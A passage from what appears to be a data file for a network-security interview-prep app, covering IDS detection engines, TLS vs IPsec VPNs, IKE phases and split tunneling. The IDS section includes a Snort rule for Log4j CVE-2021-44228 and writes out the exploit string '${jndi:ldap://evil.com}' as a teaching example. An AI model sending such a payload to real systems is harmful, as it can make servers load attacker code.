* **How It Works:** Learns "normal" network baselines over a training period (e.g., normal outbound DNS bandwidth = 20 KB/hr; normal user logins = 9am-5pm). It flags statistical outliers using machine learning and Z-score deviation metrics.
* **Strengths:** Capable of catching unknown Zero-Days, insider threats, and subtle data exfiltration channels (e.g. DNS tunneling at 3:00 AM).
* **Weaknesses:** Higher false-positive rate when legitimate business network patterns change (e.g. quarterly data backups or new software rollouts).

### Modern Enterprise NDR Synergy
Next-Gen Intrusion Detection Systems and Network Detection & Response (NDR) platforms run **both engines in parallel**: signatures catch known attacks instantly with zero overhead, while anomaly models flag suspicious deviations for SOC analyst triage.`,realWorldScenario:`An attacker weaponized a novel zero-day exploit that had no public CVE or Snort rule. The signature-based IDS allowed the packet to pass without an alert. However, the anomaly-based IDS noticed the compromised server suddenly initiating a 500 MB outbound connection over DNS port 53 at 3:00 AM (+4.8 standard deviations above baseline) and immediately triggered a critical alert that stopped data exfiltration.`,commonTraps:[`Assuming anomaly-based IDS is always superior to signature-based IDS (Signatures are essential for instant, low-overhead detection of known CVEs; anomaly detection requires tuning to prevent alert fatigue).`,`Thinking IDS and IPS are identical (An IDS is passive and alerts via SPAN/TAP; an IPS sits inline and actively drops packets).`],cliSnippet:`# Snort Signature Rule Example
alert tcp any any -> $HOME_NET 8080 (msg:"EXPLOIT Log4j CVE-2021-44228"; content:"\${jndi:ldap://"; nocase; sid:203432;)`,quiz:{question:`What is the main advantage of Anomaly-Based IDS over Signature-Based IDS?`,options:[`It uses zero CPU resources`,`It can detect novel Zero-Day attacks and behavioral deviations without needing a predefined rule`,`It requires no network configuration`,`It works only on Layer 2 Ethernet switches`],correctAnswer:1,explanation:`Anomaly IDS detects statistical deviations from a learned baseline, making it capable of catching brand-new zero-day exploits before signatures exist.`},steps:[{id:1,label:`Step 1: Traffic Source Appears (Inbound Ingress Stream)`,badge:`Traffic Source`,activeNodes:[`client`],whatIsHappening:`Network traffic source appears transmitting ingress packets.`,interviewTakeaway:`IDS engines process mirrored or inline packet streams.`},{id:2,label:`Step 2: Intrusion Detection System (IDS Engine) Appears`,badge:`IDS Sensor`,activeNodes:[`firewall`],whatIsHappening:`Enterprise IDS sensor (Snort / Suricata / NDR) appears.`,interviewTakeaway:`IDS sensors analyze Layer 3 through Layer 7 protocol data.`},{id:3,label:`Step 3: Enterprise SIEM & SOC Alert Console Appears`,badge:`SIEM Log`,activeNodes:[`server`],whatIsHappening:`Enterprise SIEM (Splunk / Microsoft Sentinel) alert dashboard appears.`,interviewTakeaway:`IDS alerts feed centralized security operations centers.`},{id:4,label:`Step 4: Network Cabling Interconnects Pipeline`,badge:`TAP Active`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Network TAP / SPAN port mirrors traffic to IDS sensor and SIEM.`,interviewTakeaway:`Passive IDS relies on SPAN port mirroring.`},{id:5,label:`Step 5: PART A: Known Exploit Packet Enters (Log4j CVE-2021-44228)`,badge:`Exploit Packet`,activeNodes:[`client`,`firewall`],whatIsHappening:"Attacker sends packet containing known Log4j exploit payload: ${jndi:ldap://evil.com}.",interviewTakeaway:`Known exploits contain distinctive byte patterns.`},{id:6,label:`Step 6: Packet Arrives at Signature Detection Engine`,badge:`Signature Check`,activeNodes:[`firewall`],whatIsHappening:`IDS compares packet payload against known Snort CVE database.`,interviewTakeaway:`Signature engines perform fast string and regex searches.`},{id:7,label:`Step 7: Exact Signature MATCH Found: Rule SID 203432`,badge:`SIGNATURE MATCH ⚠`,activeNodes:[`firewall`],whatIsHappening:`Rule SID 203432 triggers: Deterministic match on jndi:ldap:// payload string.`,interviewTakeaway:`Signature matching provides high confidence with ~0% false positives.`},{id:8,label:`Step 8: Signature Engine Dispatches Alert to SIEM Console`,badge:`ALERT ➔ SIEM`,activeNodes:[`firewall`,`server`],whatIsHappening:`IDS generates high-priority syslog alert to SIEM: %IDS-ALERT-LOG4J.`,interviewTakeaway:`Alerts provide SOC analysts with exact CVE references.`},{id:9,label:`Step 9: Part A Complete: Deterministic Known CVE Detection Verified ✓`,badge:`Part A Done ✓`,activeNodes:[`firewall`],whatIsHappening:`Signature detection completes successfully for known vulnerability.`,interviewTakeaway:`Signatures are fast and precise for known attacks.`},{id:10,label:`Step 10: PART B: Anomaly Engine Loads Behavioral Baseline Model`,badge:`Baseline Model`,activeNodes:[`firewall`],whatIsHappening:`Anomaly ML engine loads learned baseline: Normal = 50 req/min, 20 KB/hr on DNS.`,interviewTakeaway:`Anomaly detection requires a baseline learning period.`},{id:11,label:`Step 11: Normal Business Traffic Arrives (Within Statistical Baseline)`,badge:`Normal Flow`,activeNodes:[`client`,`firewall`],whatIsHappening:`Standard employee web traffic matches normal baseline (+/- 5% variance).`,interviewTakeaway:`Normal traffic falls within expected statistical distributions.`},{id:12,label:`Step 12: Zero-Day Attack / Data Exfiltration Begins (No Signature Exists!)`,badge:`Zero-Day Attack`,activeNodes:[`client`,`firewall`],whatIsHappening:`Novel zero-day initiates covert DNS tunnel transferring 500 MB at 3:00 AM.`,interviewTakeaway:`Novel zero-days have no existing CVE signature in any database.`},{id:13,label:`Step 13: Anomaly Engine Inspects Packet Metadata & Flow Statistics`,badge:`Heuristic Analysis`,activeNodes:[`firewall`],whatIsHappening:`Engine observes unprecedented 500 MB burst on UDP Port 53 during off-hours.`,interviewTakeaway:`Behavioral engines monitor volume, timing, and protocol anomalies.`},{id:14,label:`Step 14: Statistical Anomaly Detected: +4.8σ Standard Deviation Drift`,badge:`ANOMALY DETECTED ⚠`,activeNodes:[`firewall`],whatIsHappening:`Z-score exceeds threshold (+4.8σ > +3.0σ limit). Flagged as severe statistical outlier.`,interviewTakeaway:`Z-score statistical analysis quantifies abnormal traffic spikes.`},{id:15,label:`Step 15: Anomaly Engine Generates Heuristic Zero-Day Alert`,badge:`HEURISTIC ALERT ⚠`,activeNodes:[`firewall`,`server`],whatIsHappening:`Anomaly engine dispatches alert: %IDS-ANOMALY-DNS-TUNNEL to SIEM.`,interviewTakeaway:`Anomaly detection catches threats before signatures are written.`},{id:16,label:`Step 16: SIEM Dashboard Displays Novel Exfiltration Investigation`,badge:`Threat Isolated`,activeNodes:[`server`],whatIsHappening:`SOC analysts receive early warning of active zero-day data exfiltration.`,interviewTakeaway:`Early anomaly alerts prevent catastrophic data breaches.`},{id:17,label:`Step 17: Side-by-Side Comparison: Signatures (Fast) vs Anomaly (Zero-Day)`,badge:`Comparison Matrix`,activeNodes:[`firewall`],whatIsHappening:`Signatures catch known CVEs; Anomaly models catch unknown zero-days.`,interviewTakeaway:`Signature = deterministic precision; Anomaly = behavioral versatility.`},{id:18,label:`Step 18: Summary: Dual-Engine Synergy Secures Enterprise Perimeter ✓`,badge:`DUAL DEFENSE ✓`,activeNodes:[`firewall`,`server`],whatIsHappening:`Modern NDR deploys both engines in parallel for comprehensive threat coverage.`,interviewTakeaway:`Enterprise security requires both signature and anomaly detection.`}]},{id:41,categoryId:`vpn-ipsec`,category:`VPN, IPsec & TLS`,title:`What is the difference between SSL/TLS VPN and IPsec VPN?`,difficulty:`Intermediate`,visualType:`q41-tls-vs-ipsec`,elevatorPitch:`SSL/TLS VPN operates primarily at Layer 7 (Application Layer) over standard HTTPS port 443, providing clientless, granular access to specific web applications through a standard browser. IPsec VPN operates at Layer 3 (Network Layer) using ESP (IP Protocol 50), providing full network-to-network extension and transparent routing for all IP protocols (VoIP, RDP, ICMP), making it ideal for Site-to-Site and full-device remote access.`,deepDive:`### Layer 7 SSL/TLS VPN
* **OSI Layer:** Layer 7 (Application Layer) over standard TCP Port 443.
* **Client Model:** **Clientless** (runs inside any modern web browser like Chrome or Edge) or thin client portal.
* **Access Scope:** Granular, per-application access (e.g. user only accesses \`https://finance.corp\`).
* **Firewall Traversal:** Seamless; Port 443 is open on virtually all public Wi-Fi networks and hotel hotspots.
* **Best Use Case:** Remote teleworkers accessing corporate web portals and SaaS applications from unmanaged personal devices.

### Layer 3 IPsec VPN
* **OSI Layer:** Layer 3 (Network Layer) using Encapsulating Security Payload (ESP, IP Protocol 50) and IKE (UDP 500/4500).
* **Client Model:** Requires dedicated client software (e.g. Cisco AnyConnect) or dedicated hardware router.
* **Access Scope:** Full network extension; user receives a virtual IP on the corporate subnet and can route to any IP/port (VoIP, SSH, RDP, SMB, ping).
* **Firewall Traversal:** Can be blocked by intermediate NATs/firewalls unless NAT-Traversal (NAT-T on UDP 4500) is enabled.
* **Best Use Case:** Site-to-Site Branch Office interconnects and corporate-managed laptops requiring full internal LAN access.`,realWorldScenario:`An enterprise deployed TLS VPN for external contractors who only need access to the Jira ticketing portal via browser (zero software installation required). For their 50 branch offices and full-time remote engineers running VoIP and database management tools, they deployed IPsec Site-to-Site tunnels and IPsec client software to provide full Layer 3 routing.`,commonTraps:[`Assuming TLS VPN is slower than IPsec because it operates at Layer 7 (Modern TLS 1.3 has near-zero handshake latency; however, IPsec hardware acceleration in routers makes IPsec faster for bulk raw IP routing).`,`Thinking SSL VPN always means browser-only (Some SSL VPNs like OpenVPN install a virtual TUN/TAP network adapter to provide full L3 routing, but standard browser-based SSL VPNs are L7 proxies).`],cliSnippet:`# Cisco ASA IPsec vs SSL VPN CLI Summary
# IPsec Site-to-Site Transform Set
crypto ipsec ikev2 ipsec-proposal AES-GCM
 protocol esp encryption aes-gcm-256

# SSL WebVPN Gateway
webvpn
 enable outside
 anyconnect enable`,quiz:{question:`Which statement accurately describes a major advantage of SSL/TLS VPN over IPsec VPN?`,options:[`SSL/TLS VPN encrypts Layer 2 Ethernet frame headers`,`SSL/TLS VPN operates over standard HTTPS port 443 and requires no client software installation for web apps`,`SSL/TLS VPN does not use cryptography`,`SSL/TLS VPN is only supported on Linux routers`],correctAnswer:1,explanation:`SSL/TLS VPN operates over standard TCP 443 through standard web browsers, making it clientless and easy to traverse NAT/firewalls.`},steps:[{id:1,label:`Step 1: Remote User Appears with Standard Web Browser`,badge:`Remote User`,activeNodes:[`client`],whatIsHappening:`Remote teleworker appears with standard laptop browser (Chrome/Edge).`,interviewTakeaway:`SSL VPN endpoints require zero special client software.`},{id:2,label:`Step 2: Corporate VPN Gateway Appears`,badge:`VPN Gateway`,activeNodes:[`firewall`],whatIsHappening:`Perimeter VPN Gateway (Concentrator) appears.`,interviewTakeaway:`Concentrators terminate TLS and IPsec tunnels.`},{id:3,label:`Step 3: Internal Corporate Web App Appears (10.0.0.5)`,badge:`Internal App`,activeNodes:[`server`],whatIsHappening:`Internal corporate application server appears behind firewall.`,interviewTakeaway:`Internal web apps are shielded from public internet.`},{id:4,label:`Step 4: Network Cabling Interconnects Infrastructure`,badge:`Cabling Active`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Network infrastructure links Remote Client to Gateway to Web App.`,interviewTakeaway:`Traffic routes over public Internet WAN.`},{id:5,label:"Step 5: PART A: User Opens Browser & Connects to `https://vpn.corp.com:443`",badge:`HTTPS Connect`,activeNodes:[`client`,`firewall`],whatIsHappening:`Browser initiates TLS 1.3 handshake over standard TCP Port 443.`,interviewTakeaway:`Port 443 traverses almost all firewalls and NATs effortlessly.`},{id:6,label:`Step 6: TLS 1.3 Handshake Completes & Authenticates User`,badge:`TLS 1.3 Active`,activeNodes:[`client`,`firewall`],whatIsHappening:`Gateway validates user credentials via SAML/SSO; secure TLS session established.`,interviewTakeaway:`Authentication occurs at application layer.`},{id:7,label:`Step 7: Gateway Acts as L7 Reverse Proxy to Internal Web App`,badge:`L7 Reverse Proxy`,activeNodes:[`firewall`,`server`],whatIsHappening:`Gateway fetches internal web content on behalf of user (Reverse Proxy mode).`,interviewTakeaway:`SSL VPN limits user access strictly to specified web URLs.`},{id:8,label:`Step 8: Internal Web App Serves Response back to User Browser`,badge:`App Served ✓`,activeNodes:[`server`,`client`],whatIsHappening:`Internal web page renders in user browser. User has access ONLY to this app.`,interviewTakeaway:`Granular least-privilege access without exposing the entire subnet.`},{id:9,label:`Step 9: Part A Complete: Clientless Layer 7 SSL VPN Verified ✓`,badge:`Part A Done ✓`,activeNodes:[`client`,`firewall`],whatIsHappening:`TLS/SSL VPN provides secure application-level access.`,interviewTakeaway:`Ideal for contractors and unmanaged BYOD endpoints.`},{id:10,label:`Step 10: PART B: Branch Office Router & IPsec Appliance Appear`,badge:`Branch Site`,activeNodes:[`client`],whatIsHappening:`Branch Office router appears requiring full Layer 3 Site-to-Site interconnect.`,interviewTakeaway:`Site-to-Site VPNs interconnect entire branch office subnets.`},{id:11,label:`Step 11: Enterprise IPsec Gateway Appears at HQ Data Center`,badge:`HQ Gateway`,activeNodes:[`firewall`],whatIsHappening:`HQ IPsec gateway appears configured for Encapsulating Security Payload (ESP).`,interviewTakeaway:`IPsec encrypts network traffic at Layer 3.`},{id:12,label:`Step 12: HQ Server Farm Appears (Entire 10.2.0.0/24 Subnet)`,badge:`HQ Subnet`,activeNodes:[`server`],whatIsHappening:`Entire internal HQ subnet hosting VoIP, RDP, databases, and file shares appears.`,interviewTakeaway:`IPsec extends full Layer 3 routing to remote sites.`},{id:13,label:`Step 13: IKE Phase 1 & 2 Establish Secure IPsec ESP Tunnel`,badge:`IPsec SA Active`,activeNodes:[`client`,`firewall`],whatIsHappening:`IKE negotiation completes; Security Associations installed with AES-GCM-256.`,interviewTakeaway:`IKE establishes cryptographic keys and security associations.`},{id:14,label:`Step 14: Branch Host Generates Arbitrary L3 Packet (VoIP / RDP / ICMP)`,badge:`Raw IP Packet`,activeNodes:[`client`],whatIsHappening:`Branch host sends raw IP packet destined for HQ server (10.2.0.10).`,interviewTakeaway:`IPsec supports all IP protocols, not just HTTP/HTTPS.`},{id:15,label:`Step 15: Branch Gateway Encapsulates Packet in ESP Header (Proto 50)`,badge:`ESP Encapsulation`,activeNodes:[`client`,`firewall`],whatIsHappening:`Original IP packet is encrypted and enclosed inside new outer IP + ESP header.`,interviewTakeaway:`Tunnel mode encrypts the entire original IP packet and header.`},{id:16,label:`Step 16: Encrypted ESP Packet Traverses Public Internet Tunnel`,badge:`Encrypted Transit`,activeNodes:[`client`,`firewall`],whatIsHappening:`Encrypted packet safely transits public WAN without exposing internal IP headers.`,interviewTakeaway:`ESP guarantees confidentiality, integrity, and anti-replay protection.`},{id:17,label:`Step 17: HQ Gateway Receives ESP Packet & Decrypts Inner IP Header`,badge:`ESP Decapsulation`,activeNodes:[`firewall`],whatIsHappening:`HQ gateway validates SPI, decrypts payload, and restores original IP packet.`,interviewTakeaway:`Decapsulation restores original Layer 3 packet for local routing.`},{id:18,label:`Step 18: Restored Original Packet Delivered to HQ Server`,badge:`L3 Routed`,activeNodes:[`firewall`,`server`],whatIsHappening:`Packet is routed natively to HQ Server 10.2.0.10.`,interviewTakeaway:`Hosts communicate transparently without knowing VPN exists.`},{id:19,label:`Step 19: Server Responds ➔ Re-Encapsulated and Returned to Branch`,badge:`Bidirectional ESP`,activeNodes:[`server`,`client`],whatIsHappening:`Server response traverses reverse path through secure IPsec tunnel.`,interviewTakeaway:`IPsec provides high-speed bidirectional network extension.`},{id:20,label:`Step 20: Summary: TLS VPN (L7 Web Access) vs IPsec VPN (L3 Full Routing) ✓`,badge:`COMPARISON COMPLETE ✓`,activeNodes:[`firewall`,`server`],whatIsHappening:`Complete comparison verified: TLS for browser apps; IPsec for full network extension.`,interviewTakeaway:`Select TLS for clientless web access; IPsec for Site-to-Site routing.`}]},{id:42,categoryId:`vpn-ipsec`,category:`VPN, IPsec & TLS`,title:`How does a VPN tunnel establish a connection (IKE Phase 1 & 2)?`,difficulty:`Advanced`,visualType:`q42-vpn-tunnel-setup`,elevatorPitch:`IPsec VPN tunnel establishment uses the Internet Key Exchange (IKE) protocol in two distinct phases: IKE Phase 1 (ISAKMP) authenticates the two VPN gateways and creates a secure, encrypted bi-directional control channel using Diffie-Hellman key exchange; IKE Phase 2 (Quick Mode) operates inside this secure channel to negotiate specific IPsec Security Associations (SAs) and encryption keys for user data traffic.`,deepDive:`### Step-by-Step IKE Protocol Phases

#### IKE Phase 1: Establish the Secure Control Channel (ISAKMP SA)
1. **Proposal Negotiation (Messages 1 & 2):** Initiator and Responder agree on IKE Phase 1 parameters (Encryption: AES-256, Hash: SHA-256, DH Group: 14, Lifetime: 86400s).
2. **Diffie-Hellman Key Exchange (Messages 3 & 4):** Over UDP 500, gateways exchange public keys and compute a shared master secret (\`SKEYID\`) without ever transmitting the secret key over the wire.
3. **Peer Authentication (Messages 5 & 6):** Gateways mutually authenticate identities using Pre-Shared Keys (PSK) or X.509 Digital Certificates.
* **Result:** **ISAKMP SA established** (A bidirectional secure management tunnel).

#### IKE Phase 2: Negotiate Data Plane Security Associations (IPsec SAs)
1. **Quick Mode Negotiation:** Inside the encrypted Phase 1 channel, gateways negotiate data plane parameters (Protocol: ESP, Transform: AES-GCM-256, Lifetime: 3600s).
2. **Proxy-ID / Traffic Selector Validation:** Gateways agree on which local and remote subnets are permitted to use the tunnel (e.g. \`10.1.0.0/24 <-> 10.2.0.0/24\`).
3. **SPI Generation:** Unique Security Parameter Indexes (SPIs) are exchanged for inbound and outbound traffic.
* **Result:** **Two unidirectional IPsec SAs installed** in hardware; user traffic begins flowing via ESP (IP Protocol 50).`,realWorldScenario:`When configuring a site-to-site VPN between a Palo Alto firewall and a Cisco ASA, the tunnel failed to establish. The engineer checked the system logs and discovered an IKE Phase 1 proposal mismatch: the Palo Alto proposed Diffie-Hellman Group 14 (2048-bit), while the ASA was configured for DH Group 2 (1024-bit). Once DH Group 14 was configured on both ends, Phase 1 ISAKMP SA established, followed immediately by Phase 2 Quick Mode, restoring branch office connectivity.`,commonTraps:[`Confusing Phase 1 SAs with Phase 2 SAs (Phase 1 establishes the bi-directional management control channel; Phase 2 establishes two unidirectional data encryption channels).`,`Overlooking Proxy-ID / Traffic Selector mismatches (The #1 cause of Phase 2 failures is mismatched subnet masks between the two tunnel peers).`],cliSnippet:`# Cisco ASA IKEv2 Phase 1 & Phase 2 Configuration
# Phase 1: IKEv2 Proposal
crypto ikev2 policy 10
 encryption aes-256
 integrity sha256
 group 14
 lifetime seconds 86400

# Phase 2: IPsec Proposal
crypto ipsec ikev2 ipsec-proposal AES-GCM
 protocol esp encryption aes-gcm-256`,quiz:{question:`What is the primary purpose of IKE Phase 1 in an IPsec VPN?`,options:[`To encapsulate and forward user payload data`,`To authenticate the VPN gateways and establish a secure, encrypted bi-directional control channel for Phase 2 negotiations`,`To assign IP addresses via DHCP`,`To translate private IPs into public IPs via NAT`],correctAnswer:1,explanation:`IKE Phase 1 authenticates the tunnel endpoints and creates the secure ISAKMP SA control channel needed to safely negotiate Phase 2 IPsec SAs.`},steps:[{id:1,label:`Step 1: Site A Gateway (Initiator 203.0.113.1) Appears`,badge:`Initiator`,activeNodes:[`client`],whatIsHappening:`Site A VPN Gateway (Initiator) appears ready to establish tunnel.`,interviewTakeaway:`The initiator triggers IKE negotiation upon detecting interesting traffic.`},{id:2,label:`Step 2: Public Internet Routing WAN Appears`,badge:`Public WAN`,activeNodes:[`firewall`],whatIsHappening:`Untrusted public internet network appears between sites.`,interviewTakeaway:`VPN tunnels encapsulate traffic across untrusted public networks.`},{id:3,label:`Step 3: Site B Gateway (Responder 198.51.100.1) Appears`,badge:`Responder`,activeNodes:[`server`],whatIsHappening:`Site B VPN Gateway (Responder) appears listening on UDP 500.`,interviewTakeaway:`The responder evaluates proposals received from initiator.`},{id:4,label:`Step 4: Site A Host (10.1.0.5) & Site B Host (10.2.0.10) Appear`,badge:`End Hosts`,activeNodes:[`client`,`server`],whatIsHappening:`Internal subnet hosts appear on both corporate networks.`,interviewTakeaway:`Subnet endpoints generate traffic that traverses the tunnel.`},{id:5,label:`Step 5: Physical Links Connected Across Public Internet`,badge:`Topology Active`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Network connectivity links Site A to Internet WAN to Site B.`,interviewTakeaway:`Physical connectivity is required before crypto handshakes begin.`},{id:6,label:`Step 6: Interesting Traffic Triggers IKE Phase 1 Initiation`,badge:`IKE Triggered`,activeNodes:[`client`],whatIsHappening:`Host A sends packet to Host B; gateway marks as interesting traffic and starts IKE.`,interviewTakeaway:`ACLs or route policies define interesting traffic triggers.`},{id:7,label:`Step 7: IKE Phase 1: Proposal Negotiation (AES-256, SHA-256, DH-14)`,badge:`IKE P1 Msg 1&2`,activeNodes:[`client`,`server`],whatIsHappening:`Gateways negotiate IKE Phase 1 cipher suite over UDP 500.`,interviewTakeaway:`Phase 1 requires matching encryption, hash, and DH group parameters.`},{id:8,label:`Step 8: IKE Phase 1: Diffie-Hellman Key Exchange Generates Shared Secret`,badge:`DH Key Exchange`,activeNodes:[`client`,`server`],whatIsHappening:`Gateways exchange DH public keys and derive shared master key (SKEYID).`,interviewTakeaway:`Diffie-Hellman allows secret key derivation over an insecure channel.`},{id:9,label:`Step 9: IKE Phase 1: Mutual Peer Authentication (PSK / PKI Cert)`,badge:`Authentication`,activeNodes:[`client`,`server`],whatIsHappening:`Gateways verify Pre-Shared Key (PSK) or X.509 digital certificates.`,interviewTakeaway:`Mutual authentication guarantees identity before creating SAs.`},{id:10,label:`Step 10: IKE Phase 1 Complete: ISAKMP SA Secure Control Channel Active ✓`,badge:`ISAKMP SA ESTABLISHED ✓`,activeNodes:[`client`,`server`],whatIsHappening:`Phase 1 completes; secure bidirectional control channel is operational.`,interviewTakeaway:`ISAKMP SA protects all subsequent Phase 2 negotiations.`},{id:11,label:`Step 11: IKE Phase 2 (Quick Mode) Begins Inside Encrypted Channel`,badge:`IKE P2 Quick Mode`,activeNodes:[`client`,`server`],whatIsHappening:`Gateways initiate Phase 2 Quick Mode inside encrypted Phase 1 tunnel.`,interviewTakeaway:`Phase 2 negotiations are shielded by Phase 1 encryption.`},{id:12,label:`Step 12: IKE Phase 2: Negotiate IPsec SAs (ESP, AES-GCM-256, SPIs)`,badge:`IPsec SAs Negotiated`,activeNodes:[`client`,`server`],whatIsHappening:`Gateways agree on ESP transform set and exchange SPI identifiers.`,interviewTakeaway:`Security Parameter Indexes (SPIs) identify specific SA channels.`},{id:13,label:`Step 13: Traffic Selectors Validated: 10.1.0.0/24 ⇄ 10.2.0.0/24`,badge:`Proxy-IDs Validated`,activeNodes:[`client`,`server`],whatIsHappening:`Gateways verify matching subnet boundaries (Proxy-IDs).`,interviewTakeaway:`Mismatched proxy-IDs are the most common cause of Phase 2 drops.`},{id:14,label:`Step 14: IPsec SAs Installed: DATA PLANE TUNNEL ACTIVE ✓`,badge:`IPSEC TUNNEL ACTIVE ✓`,activeNodes:[`client`,`server`],whatIsHappening:`Two unidirectional IPsec SAs installed in gateway forwarding hardware.`,interviewTakeaway:`Data plane is ready to encrypt and transmit user payload packets.`},{id:15,label:`Step 15: Host A Sends Plaintext IP Packet (10.1.0.5 ➔ 10.2.0.10)`,badge:`Plaintext Payload`,activeNodes:[`client`],whatIsHappening:`Host A generates packet destined for Host B.`,interviewTakeaway:`Client hosts generate standard unencrypted IP packets.`},{id:16,label:`Step 16: Gateway A Encrypts Payload & Appends ESP Header (Proto 50)`,badge:`ESP Encapsulation`,activeNodes:[`client`],whatIsHappening:`Gateway A encrypts packet with AES-GCM and adds outer IP header + ESP SPI.`,interviewTakeaway:`Tunnel mode wraps the original IP header inside an encrypted envelope.`},{id:17,label:`Step 17: Encrypted ESP Packet Transits Public Internet WAN`,badge:`ESP In-Transit`,activeNodes:[`client`,`server`],whatIsHappening:`Encrypted ESP packet safely traverses public WAN.`,interviewTakeaway:`Eavesdroppers see only outer gateway IP addresses.`},{id:18,label:`Step 18: Gateway B Validates SPI, Decrypts ESP, & Restores Original IP`,badge:`Decryption & Auth`,activeNodes:[`server`],whatIsHappening:`Gateway B validates cryptographic integrity, strips ESP, and restores packet.`,interviewTakeaway:`Decapsulation verifies authenticity before routing.`},{id:19,label:`Step 19: Original Packet Delivered to Destination Host B (10.2.0.10)`,badge:`Delivered ✓`,activeNodes:[`server`],whatIsHappening:`Site B Host receives original IP packet natively.`,interviewTakeaway:`Destination receives standard unencrypted packet.`},{id:20,label:`Step 20: Host B Generates Reply ➔ Gateway B Encapsulates & Returns`,badge:`ESP Return Transit`,activeNodes:[`server`,`client`],whatIsHappening:`Host B replies; Gateway B encrypts using reverse inbound SPI SA.`,interviewTakeaway:`Return traffic follows matching unidirectional IPsec SA.`},{id:21,label:`Step 21: Gateway A Decrypts Reply & Delivers to Host A`,badge:`Reply Received ✓`,activeNodes:[`client`],whatIsHappening:`Gateway A decapsulates reply and delivers to Host A.`,interviewTakeaway:`Full round-trip application transaction verified.`},{id:22,label:`Step 22: Summary: Complete 2-Phase IKE Tunnel Lifecycle Verified ✓`,badge:`TUNNEL LIFECYCLE COMPLETE ✓`,activeNodes:[`client`,`server`],whatIsHappening:`Phase 1 ISAKMP SA ➔ Phase 2 IPsec SAs ➔ Bi-directional Encrypted Transit.`,interviewTakeaway:`Mastering IKE Phase 1 and 2 is fundamental to network security engineering.`}]},{id:43,categoryId:`vpn-ipsec`,category:`VPN, IPsec & TLS`,title:`What is split tunneling in VPNs, and what are its security implications?`,difficulty:`Intermediate`,visualType:`q43-split-tunneling`,elevatorPitch:`Split tunneling is a VPN configuration that splits remote endpoint network traffic: traffic destined for internal corporate subnets is routed through the encrypted VPN tunnel, while general public internet traffic (e.g. YouTube, web browsing) is routed directly out the user’s local ISP gateway. While it conserves corporate VPN bandwidth and reduces latency, it creates a security risk because the endpoint bypasses corporate perimeter firewall inspection and can act as an insecure bridge.`,deepDive:`### Full Tunneling vs Split Tunneling

#### Full Tunneling (Default Route in VPN: \`0.0.0.0/0 -> tun0\`)
* **How It Works:** 100% of network traffic from the endpoint is routed through the corporate VPN gateway.
* **Security Benefit:** The enterprise Next-Gen Firewall inspects and logs all user web surfing, enforcing DLP, antivirus, and URL filtering policies.
* **Drawback:** Enormous corporate bandwidth consumption; personal video streaming (Netflix, YouTube) and software updates choke corporate internet lines and introduce high latency.

#### Split Tunneling (Selective Routes: \`10.10.0.0/16 -> tun0\`, \`0.0.0.0/0 -> local ISP\`)
* **How It Works:** Only corporate IP ranges enter the VPN tunnel; all other traffic goes directly out the user's home ISP router.
* **Performance Benefit:** Massive bandwidth savings (80%+ reduction in corporate WAN traffic) and optimal speeds for streaming/SaaS.
* **Security Risk:** The endpoint is directly exposed to public internet threats. A compromised machine on the home LAN can be used by an attacker as a pivot/bridge into the corporate network through the open VPN tunnel.

### Modern Enterprise Compromise: Dynamic Split Tunneling + SASE / EDR
Modern enterprises enable Split Tunneling for performance, but enforce strict **Endpoint Detection and Response (EDR / CrowdStrike)** and **Cloud-Delivered Security (SASE / Zscaler / Cloudflare WARP)** so that internet traffic is still inspected in the cloud without backhauling to on-premises data centers.`,realWorldScenario:`During the shift to remote work, an enterprise with 10,000 employees experienced a complete corporate internet outage because all employees were on Full Tunnel VPN, routing Zoom 4K video through the headquarters gateway. The network team enabled Split Tunneling for Zoom and Microsoft 365 domains, reducing corporate bandwidth consumption by 75% instantly.`,commonTraps:[`Believing split tunneling cannot be controlled centrally (Enterprise VPN gateways like Cisco AnyConnect or Palo Alto GlobalProtect push split tunneling route lists automatically to clients).`,`Thinking split tunneling makes the VPN encryption weaker (The encryption inside the corporate tunnel is identical; only the routing decision differs).`],cliSnippet:`# Cisco ASA Split-Tunneling Configuration
access-list SPLIT_TUNNEL_ROUTES standard permit 10.10.0.0 255.255.0.0
group-policy CORP_POLICY attributes
 split-tunnel-policy tunnelspecified
 split-tunnel-network-list value SPLIT_TUNNEL_ROUTES`,quiz:{question:`What is the primary security risk introduced by enabling Split Tunneling on a VPN endpoint?`,options:[`VPN encryption keys expire 50% faster`,`The endpoint bypasses corporate firewall inspection for public internet traffic and can be used as a bridge into corporate networks`,`Routers cannot process IP packets with split routes`,`DHCP servers stop assigning IP addresses`],correctAnswer:1,explanation:`Split tunneling allows endpoints to communicate directly with the internet without corporate firewall inspection, enabling malware to pivot into the corporate network.`},steps:[{id:1,label:`Step 1: Remote Teleworker Laptop Appears (192.168.1.100)`,badge:`Remote Endpoint`,activeNodes:[`client`],whatIsHappening:`Remote employee laptop appears on home Wi-Fi network.`,interviewTakeaway:`Remote endpoints generate both corporate and personal traffic.`},{id:2,label:`Step 2: Corporate VPN Gateway Appears (203.0.113.1)`,badge:`Corporate Gateway`,activeNodes:[`firewall`],whatIsHappening:`Corporate VPN Concentrator appears at enterprise perimeter.`,interviewTakeaway:`VPN gateways enforce client routing policies.`},{id:3,label:`Step 3: Internal Corporate ERP Server Appears (10.10.0.5)`,badge:`Corp ERP`,activeNodes:[`server`],whatIsHappening:`Sensitive internal enterprise ERP server appears inside corporate LAN.`,interviewTakeaway:`Corporate resources require encrypted tunnel protection.`},{id:4,label:`Step 4: Public Internet Streaming Destination Appears (YouTube CDN)`,badge:`Public Internet`,activeNodes:[`server`],whatIsHappening:`High-bandwidth public streaming server appears on public Internet.`,interviewTakeaway:`Personal web traffic consumes high bandwidth.`},{id:5,label:`Step 5: Physical Links Interconnect Dual Topologies`,badge:`Dual Topology`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Network links connect User to VPN Gateway to Corp LAN, and User to Public Internet.`,interviewTakeaway:`Endpoints can route through VPN or direct to ISP.`},{id:6,label:`Step 6: PART A: Full Tunneling Mode Configured (0.0.0.0/0 ➔ VPN)`,badge:`Full Tunnel Policy`,activeNodes:[`client`,`firewall`],whatIsHappening:`Client default route points 100% of traffic into VPN virtual adapter (tun0).`,interviewTakeaway:`Full tunnel backhauls all traffic to corporate headquarters.`},{id:7,label:`Step 7: User Accesses Corporate ERP: Traverses Encrypted VPN Tunnel`,badge:`ERP in VPN`,activeNodes:[`client`,`server`],whatIsHappening:`Corporate ERP traffic is securely encrypted and delivered to ERP server.`,interviewTakeaway:`Corporate data remains protected by VPN encryption.`},{id:8,label:`Step 8: User Streams 4K 